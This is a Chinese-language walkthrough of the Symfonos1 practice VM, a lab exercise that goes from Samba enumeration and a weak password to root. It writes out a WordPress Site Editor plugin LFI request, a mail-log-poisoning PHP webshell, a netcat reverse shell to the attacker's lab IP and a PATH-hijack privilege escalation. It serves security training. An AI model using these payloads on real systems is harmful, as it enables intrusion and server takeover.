Symfonos1
靶机下载地址:这里
靶机难度:初级
靶机发布日期:29 Jun 2019
知识点:
nmap端口扫描
samba服务信息收集
wordpress插件利用
反弹shell
Linux环境变量提权
启动靶机,用找到扫描局域网找到靶机IP
靶机IP为 192.168.133.151
进行端口扫描, 开放了22、25、80、139、445端口
扫描网站
访问一下网页80端口
没有比较明显的突破,但是服务器还开启了samba服务,看一下服务器分享的所有资源
可以看到有两个用户,一个是匿名用户anonymous,另一个是helios,登入匿名用户
发现一个文件,把它下载下来,读取内容:”再使用'epidioko', 'qwerty' and 'baseball'这类的密码就被开除“
推测用户helios的密码是这三个中的一个,尝试登入发现密码是 ”qwerty“ ,看一下这个用户的smb可以访问的资源
有两个文件,依此下载读取,esearch.txt的内容是神话故事,todo.txt中的第三点/h3l105可能是一个目录
于是访问一下这个目录,可以看到网站是由wordpress搭建的
点击下面的链接,会跳转到symfonos.local/h3l105 ,需要用hosts让ip地址与主机名之间建立映射,在/etc/hosts里面添加ip和域名,才能正常解析
可以正常访问之后,就可以用wpscan枚举插件
wpscan --url http://symfonos.local/h3l105/ -eap
发现了两个插件,而且两个插件都有漏洞
searchsploit site editor 1.1.1 earchsploit mail masta 1.0
这里用site editor 1.1.1的LFI来测试一下,先把44340.txt下载下来
searchsploit -m 44340.txt
然后找到POC
尝试利用POC读取/etc/passwd,并且成功读取,说明漏洞可以利用
http://192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
前面扫描发现服务器还开放了25端口,25端口开放的是SMTP服务,尝试读取用户helios的邮件日志
http://192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios
成功读取用户日志,那么可以通过污染邮件日志,让LFI变成RCE
我们可以用telnet向helios发送植入一句话木马的邮件,再利用插件的本地文件包含漏洞让其可以远程命令执行
MAIL FROM: test RCPT TO: helios data <?php system($_GET['shell']); ?> . QUIT
测试一下RCE,并且成功执行
http://192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&shell=id
那就可以利用这个RCE反弹一个shell,使用nc在kali上监听9999端口
nc-lvp 9999
然后访问这个链接,即执行nc -e /bin/bash 192.168.133.130 9999
192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&shell=nc -e /bin/bash 192.168.133.130 9999
成功反弹shell, 然后用python将shell转化成交互式tty
python -c "import pty;pty.spawn('/bin/bash')"
现在只是一个普通用户,需要进一步提权成root权限
用find找到启用SUID的二进制文件,看到一个通常不属于这里面的一个二进制文件
find / -perm -4000 -type f 2>/dev/null
用strings查看里面的信息,发现该程序调用curl
那么我们可以建一个假的curl,追加/tmp到环境变量开头,这样系统调用curl的时候就可以执行假的curl,进而达到提权效果
cd /tmp echo "/bin/sh" > curl chmod 777 curl export PATH=/tmp:$PATH echo $PATH /opt/statuscheck
成功获得root权限
总结:利用samba服务器获得信息和已知的wordpress插件漏洞让LFI变成RCE,最后利用Linux环境变量提权
参考链接如下
https://www.jianshu.com/p/ddcb97b8c069
https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/